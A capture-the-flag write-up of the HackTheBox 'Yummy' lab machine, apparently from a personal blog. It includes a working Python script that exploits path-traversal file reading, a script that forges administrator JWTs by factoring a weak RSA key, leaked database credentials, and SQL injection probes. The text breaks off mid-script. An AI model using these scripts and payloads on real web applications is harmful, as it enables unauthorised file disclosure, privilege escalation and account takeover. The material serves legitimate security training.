Yummy – HackTheBox Link to heading
- OS: Linux
- Difficulty: Hard
- Platform: HackTheBox
Synopsis Link to heading
“Yummy” is a Hard machine from HackTheBox
platform. The machine teaches how a Local File Inclusion
from the main webpage allows to read sensitive files that could leak components that allow us to forge Jason Web Tokens
with privileges. Additionally, we are able to exploit an SQL Injection
that allow us to write files in the victim machine and gain access to it through cronjobs. This machine also teaches how to execute commands using Mercurial
and RSync
applications in a Linux
system, and how they can be used to escalate privileges.
User Link to heading
Nmap
scan shows only 2 ports open: 22
SSH
and 80
HTTP
:
❯ sudo nmap -sVC -p22,80 10.10.11.36
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 23:37 -03
Nmap scan report for 10.10.11.36
Host is up (0.48s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open http Caddy httpd
|_http-title: Did not follow redirect to http://yummy.htb/
|_http-server-header: Caddy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.86 seconds
From the scan we can see a domain: yummy.htb
. We add this domain to our /etc/hosts
:
❯ echo '10.10.11.36 yummy.htb' | sudo tee -a /etc/hosts
Using WhatWeb
over this site shows a contact email info@yummt.htb
and it is running Caddy
:
❯ whatweb -a 3 http://yummy.htb
http://yummy.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@yummy.htb], Frame, HTML5, HTTPServer[Caddy], IP[10.10.11.36], Lightbox, Script, Title[Yummy]
Searching info about Caddy
we reach its oficial webpage (which is also open source):
Caddy
is a powerful, extensible platform to serve your sites, services, and apps, written in Go
.Visiting http://yummy.htb
shows a restaurant webpage:
At the top bar we can see Register
and Login
options. We create an account and log in. The site now shows displays about reservations:
Clicking on Book a table
at the top right of the site redirects to a form to book a reservation:
If we create a simple reservation now it is displayed in the main dashboard of our user:
Clicking on Cancel reservation
deletes the reservation and clicking on Save ICalendar
generates a file. We download this file and inspect it:
❯ file Yummy_reservation_20241101_030237.ics
Yummy_reservation_20241101_030237.ics: iCalendar calendar file
We can view this file in an Online iCalendar viewer and upload the file. The file itself does not give much info:
We will then start Burpsuite
and intercept the request sent when we click on Save iCalendar
. We get the request:
GET /reminder/22 HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyREzQ.RctjGk1UAFWqI_V76AoK7I2C95s
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/dashboard
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
It is requesting a file using a Jason Web Token
(or JWT
).
Inspecting this JWT
in https://jwt.io/ shows:
But we don’t have much to modify this token.
Back to the response we got with Burpsuite
when we clicked on Save iCalendar
, we right click on it and select the options Do Intercept > Response
to this request (and ensure this is being sent through HTTP
instead of HTTPs
). Eventually we get the response:
GET /export/Yummy_reservation_20241101_031837.ics HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyRIjQ.2S8ZNvU3iAqsg8tuajdGEJfY5cU
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
We then send a request to /export/../../../../../../../../../../etc/passwd
, so the request is now:
GET /export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyRIjQ.2S8ZNvU3iAqsg8tuajdGEJfY5cU
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
We download a file named passwd
. Checking its content we have:
❯ cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false
We have reached a Local File Inclusion
(or LFI
).
We have 3 users: root
, dev
and qa
:
❯ cat passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:dev:/home/dev:/bin/bash
qa:x:1001:1001::/home/qa:/bin/bash
To automatize this process we create a Python
script that will exploit this Local File Inclusion
:
from datetime import datetime
from urllib.parse import urlencode, quote
import sys
import requests
import argparse
import random
import string
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"}
def parse_arguments():
"""
Get user flags
"""
parser = argparse.ArgumentParser(description="Automation for 'Local File Inclusion' in HTB Yummy machine.")
parser.add_argument("-e", "--email", required=True, type=str, help="Email to register for authentication in 'HTB Yummy' webpage.")
parser.add_argument("-u", "--username", required=True, type=str, help="Username to make the reservation in 'HTB Yummy' page.")
parser.add_argument("-p", "--password", required=True, type=str, help="Password for authentication in 'HTB Yummy' webpage.")
parser.add_argument("-f", "--local-file", required=True, type=str, help="File to read through Local File Inclusion vulnerability. Must be an absolute path. Example: /etc/passwd")
parser.add_argument("--create-account", action="store_true", help="Create an account in 'HTB Yummy' webpage if it has not been already created.")
return parser.parse_args()
def create_account(args: argparse.Namespace)->None:
"""
Create an account in 'HTB Yummy' webpage (if it has not already been created)
"""
if not '@' in args.email:
print("[-] Not a valid email. Try, for example: user@domain.com")
sys.exit(1)
register_url = 'http://yummy.htb/register'
json_data = {"email": args.email, "password": args.password}
create_account_request = requests.post(url=register_url, headers=headers, json=json_data)
if 'Invalid' in create_account_request.text:
print("[-] Username already exists.")
sys.exit(1)
print(f"[+] Account created with email {args.email!r} and password {args.password!r}")
return
def get_encoded_time()->str:
"""
Get encoded current time in minutes
"""
current_time = datetime.now().strftime("%H:%M")
return str(urlencode({"time": current_time}).split('=')[1])
def create_booking(args: argparse.Namespace)->None:
booking_url = 'http://yummy.htb/book'
today_date = datetime.today().strftime('%Y-%m-%d')
length_booking: int = 6
booking_name: str = f"Booking ID {''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length_booking))}"
data={'name': args.username,'email': args.email,'phone':'9999999999','date': today_date,'time':get_encoded_time(),'people':'1','message': booking_name}
request_booking = requests.post(url=booking_url, headers=headers, data=data)
if request_booking.status_code != 200:
print(f"[-] Bad status code: {request_booking.status_code!r}")
sys.exit(1)
print(f"[+] Booking created as {booking_name!r}")
return
def read_file_LFI(args: argparse.Namespace) -> None:
"""
Execute LFI
"""
# Get session
login_url: str = 'http://yummy.htb/login'
session = requests.Session()
json_data = {"email": args.email, "password": args.password}
_ = session.post(url=login_url, headers=headers, json=json_data)
# Set payloads. Use 'safe' to urlencode '/'
file_to_read: str = quote('../../../../../../../../../..' + args.local_file, safe='')
lfi_url: str = 'http://yummy.htb/export/' + file_to_read
# Get into dashboard
dashboard_url: str = 'http://yummy.htb/dashboard'
_ =session.get(url=dashboard_url, headers=headers)
# Visit reminder page, as shown bu Burp
reminder_url = 'http://yummy.htb/reminder/21'
_ = session.get(url=reminder_url, headers=headers, allow_redirects=False)
# Execute LFI
print(f"[+] Making http request to {lfi_url!r}")
lfi_req = session.get(url=lfi_url, headers=headers, allow_redirects=False)
print(f'[+] Output obtained:\n\n' + lfi_req.text)
def main()->None:
# Get user arguments
args: argparse.Namespace = parse_arguments()
# If a user has not already been created (and if requested), create a user
if args.create_account:
create_account(args)
# Create a random booking
create_booking(args)
# Execute LFI
read_file_LFI(args)
if __name__ == "__main__":
main()
And now just execute it:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/passwd'
[+] Booking created as 'Booking ID KMgA4h'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
[+] Output obtained:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
<SNIP>
The script works.
Around every ~10 minutes our user account is deleted. If this happens, when we execute the payload above, we should get a message about Redirecting
to the main page, even if we execute this payloads multiple times. If this happens, we need to create our user again. For this we can use --create-account
flag in the script, so in that case we should execute, for example:
❯ python3 exploit.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/passwd' --create-account
dev
or qa
users have SSH
keys exposed, but we are not able to find any.After checking many paths from this list one that is one of the first ones works:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/crontab'
[+] Booking created as 'Booking ID T9ZLgf'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fcrontab'
[+] Output obtained:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
We are able to find some info at /etc/crontab
. We have 3 scripts running: app_backup.sh
, table_cleanup.sh
and dbmonitor.sh
. All located at /data/scripts
directory.
Since /data/scripts/app_backup.sh
is being run by www-data
, I assume we should be able to read this file. Reading it shows:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/app_backup.sh'
[+] Booking created as 'Booking ID e2Zgbp'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fscripts%2Fapp_backup.sh'
[+] Output obtained:
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
It is making a copy of /opt/app
and storing it into /var/www/backupapp.zip
. If we attempt to read this file it is too big to be displayed, even if we attempt to base64
its content. Since there is an /opt/app
directory, we usually have app.py
file inside this directory (usually for web servers using Flask
). Therefore, attempting to read this file works:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/opt/app/app.py'
[+] Booking created as 'Booking ID 7QP4D4'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fopt%2Fapp%2Fapp.py'
[+] Output obtained:
from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
<SNIP>
As we thought, there is a file running Flask
.
After reading the script, here are some interesting parts:
db_config = {
'host': '127.0.0.1',
'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
'database': 'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
}
This password does not work for dev
or qa
user through SSH
.
We also can see the functions:
def validate_login():
try:
(email, current_role), status_code = verify_token()
if email and status_code == 200 and current_role == "administrator":
return current_role
elif email and status_code == 200:
return email
else:
raise Exception("Invalid token")
except Exception as e:
return None
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
elif validation == "administrator":
return redirect(url_for('admindashboard'))
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
cursor.execute(sql, (validation,))
connection.commit()
appointments = cursor.fetchall()
appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])
finally:
connection.close()
Basically, if we are administrator
user this should redirect us to admindashboard
path.
Also, we can see the part where JWTs
are forged:
with connection.cursor() as cursor:
sql = "SELECT * FROM users WHERE email=%s AND password=%s"
cursor.execute(sql, (email, password2))
user = cursor.fetchone()
if user:
payload = {
'email': email,
'role': user['role_id'],
'iat': datetime.now(timezone.utc),
'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
}
access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
response = make_response(jsonify(access_token=access_token), 200)
response.set_cookie('X-AUTH-Token', access_token)
return response
else:
return jsonify(message="Invalid email or password"), 401
It is using signature
library. Searching for this at the headers we can see is is a function being imported:
from config import signature
It seems to be a custom library for the script.
Therefore, we attempt to read /opt/app/config/signature.py
and we get the script:
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
To see the generated signature
generated I will copy this code into my attacker machine, but slightly modify it to print the generated token. Additionally, we need to create a virtual environment and install all the needed libraries into it. First things first, create the virtual environment and install all the needed libraries to craft a JWT
token there (and some others that we might need later):
❯ python3 -m venv .venv_signature
❯ source .venv_signature/bin/activate
❯ pip3 install PyJWT cryptography sympy pycryptodome requests
We can know easily if this worked just copying signature.py
into our attacker machine and executing it. If we see no errors then we are good to go.
We will then copy signature.py
into a new file named modified_signature.py
and create a new JWT
token based on the structure provided by https://jwt.io/ when we passed our user token. Therefore, modified_signature.py
script looks like:
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
from datetime import datetime, timedelta, timezone
import jwt
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
# Added payload, forge JWT token based on our user token
payload ={
'email':'gunzf0x@gunzf0x.htb', # email really does not matter, since 'app.py' will just validate the role
'role':'administrator', # set 'administrator' role, as found in 'app.py'
'iat':int(datetime.now(timezone.utc).timestamp()),
'exp':int((datetime.now(timezone.utc)+ timedelta(hours=3650)).timestamp()),
'jwk':{ # add items in JWT
'kty':'RSA',
'n': key_data['n'],
'e': key_data['e']
}
}
# Create the token
jwt_token = jwt.encode(payload, private_key, algorithm='RS256')
# Print the generated token
print(f"[+] Generated JWT token:\n\n{jwt_token}")
executing it apparently works:
❯ python3 modified_signature.py
[+] Generated JWT token:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTczMDQ0MDg2NywiZXhwIjoxNzQzNTgwODY3LCJqd2siOnsia3R5IjoiUlNBIiwibiI6MTA4NzIyODQ1ODQ3OTUzMzQ0MzM0MzEwMjM1MDczOTc2MTYzMTU2NjQ1NDk2NTU4NDYzNjE2OTY2Mzk1MDc4NTEzNTk0NDMyOTgzNjg4OTM1ODA0MTMyOTA5MDkyNTAzOTczODc1MzYzMjgyMzY1MDQyMTkzNDQxMDM3MTAyNjMyODU0OTEzNjI4NjIzMjUxMDE0ODg4ODQ4MDE1MzMxNzExNjEzODAzNTY4NTY4MzgxODY4MDQ0NTQ3MDUwNTE5MTY3MjAzMzIxNDY2NTE3NTU5MTk5MTQ1NTgwMDA2NTE2NjIyMjI4NTc2NjY5NTE5ODAyMTE3MDUwMjM4NTM0MTU0MDQ1MzY1Mjc2NTM1NjcwNjY5MDMxMjk1NjMyNTMxNzEyNTg0ODE3NDMwNDYxMjE5MjQ3ODY1ODA5LCJlIjo2NTUzN319.BMquF3lVzvcOHUaiUG-hX-B66gJpPgRGTksX8JWSn3F1aIurTNSd-kUF4uwvOzIMd9DJJgOMB0USkdzgsb2nJDbGn0GWFAnZ9Pu2fWQ8qsNwdYjSO0_xBz99sjkzGBlWBsaIxiH9c6BUCKRzIpmNlCcg0vRbUO7MScAocV7pvNa32eg
Copy this token, go to http://yummt.htb
webpage and pass this JWT
token:
However, this token does not seems to work. Why? After some time I realized that the “private key” is generated in my server, whereas the key used by the server is, of course, generated in it.
Basically, we have a problem: it is a JWT
using RSA
algorithm (an assymetric algorithm); not HS256
(a symmetric algorithm) as we usually find for JWTs
. We need n
number and the unique pair p
and q
that corresponds to it. We can find this n
using the generated token for our created user. So we re-order our code to generate a token and then extract the correct numbers from the generated key. I will not explain the whole theory behind RSA
, but more info can be found here. We need to generate a new JWT
token based on one extracted from the target machine. The plan is simple:
- Create a new account (so the ticket will not expire soon) and extract its
JWT
from our web browser. - Modify this ticket and craft one with
administrator
role. - Use this ticket to access
/admindashboard
path. For this I create again aPython
script that accepts as argument aJWT
:
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
from datetime import datetime, timedelta, timezone
import jwt
import requests
import argparse
import sys
import json
def parse_arguments():
"""
Get user flags
"""
parser = argparse.ArgumentParser(description="Creates a JWT for 'HTB Yummy' machine.")
parser.add_argument("-t", "--token", required=True, type=str, help="Jason Web Token extracted from 'HTB Yummy'.")
parser.add_argument("--check-cookie", action="store_true", help="Check if generated cookie works.")
return parser.parse_args()
def get_numbers_from_original_token(token):
# Decode the JWT token
try:
# Decode without verifying the signature (just for extracting values)
headers = jwt.get_unverified_header(token)
payload = jwt.decode(token, options={"verify_signature": False})
# Print the headers and payload
print(70*"=")
print(25*' ' + "Original JWT Info")
print(70*"=")
print("Header:")
print(json.dumps(headers, indent=2))
print("\nPayload:")
print(json.dumps(payload, indent=2))
# Extract the "n" and "e" value from JWT (if available)
jwk = payload.get('jwk')
if jwk:
return int(jwk.get('n')), int(jwk.get('e'))
else:
print("[-] 'n' not found in token.")
sys.exit(1)
except jwt.ExpiredSignatureError:
print("[-] The token has expired.")
except jwt.InvalidTokenError:
print("[-] Invalid token.")
sys.exit(1)
def get_numbers(token, n, e):
factors = sympy.factorint(n)
for factor, exponent in factors.items():
# Find numbers
print(f"[+] Factor: {factor}, exponent: {exponent}")
p, q = 0, 0
if len(factors) == 2:
p, q = factors.keys()
print(f"[+] Found numbers: p = {p}, q = {q}")
phi_n = (p -1)*(q -1)
d = pow(e,-1, phi_n)
key_data ={'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
# Generate the key new with the numbers
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
# Modify original token data
original_token_data = jwt.decode(token, public_key, algorithms=["RS256"])
original_token_data["role"]="administrator"
original_token_data["exp"]=int((datetime.now(timezone.utc)+ timedelta(hours=3650)).timestamp())
# Forge the new token
new_jwt_token = jwt.encode(original_token_data, private_key, algorithm='RS256')
return new_jwt_token
def check_if_cookie_works(jwt_token):
url = 'http://yummy.htb/admindashboard'
cookies = {'X-AUTH-Token' : jwt_token}
# Make the request
r = requests.get(url, cookies=cookies, allow_redirects=False)
if r.status_code != 200:
print(f"[-] Invalid status code {r.status_code!r}")
return
if '/login' in r.text:
print("[-] Cookie generated does not seems to work.")
return
print(f"[+] JWT seems to work in {url!r}!")
def main()->None:
# Get token from user
args: argparse.Namespace = parse_arguments()
# Get 'n' and 'e' from JWT obtained from 'HTB Yummy' machine
n, e = get_numbers_from_original_token(args.token)
# Modify original token
new_token = get_numbers(args.token, n, e)
# Print the result
print(f"[+] Generated JWT token:\n\n{new_token}\n")
# Check if the cookie works sending it to the target machine
check_if_cookie_works(new_token)
if __name__ == "__main__":
main()
We execute it:
❯ python3 modify_original_token.py -t 'eyJhbGc<SNIP>94gzOkXs'
======================================================================
Original JWT Info
======================================================================
Header:
{
"alg": "RS256",
"typ": "JWT"
}
<SNIP>
ey<SNIP>FXjG0vk
[+] JWT seems to work in 'http://yummy.htb/admindashboard'!
jwt.exceptions.ExpiredSignatureError: Signature has expired
in the script this means we need to create a new user, extract its JWT
and use it on the script ASAP.Using this cookie and visiting http://yummy.htb/admindashboard
works. We can now see some new requests:
We note that we can search by email. If I search by something really simple as test
we are redirected to http://yummy.htb/admindashboard?s=test&o=ASC
. But if we search for something like:
http://yummy.htb/admindashboard?s=test&o=ASC%27%20or%201=1--%20-
in the url, the page shows an error:
Seems to be a SQL Injection
.
Back to our LFI
script, I remember we had some files for MySQL
. Checking them:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/table_cleanup.sh'
shows:
#!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
And checking /data/scripts/sqlappointments.sql
shows:
TRUNCATE table users;
TRUNCATE table appointments;
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("chrisjohnson@email.net", "Chris Johnson", "2024-05-25", "11:45", "2", "No allergies, prefer table by the window", "customer");
<SNIP>
So this is the cronjob
deleting users every 15 minutes.
And /data/scripts/dbmonitor.sh
script, the other script, shows:
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
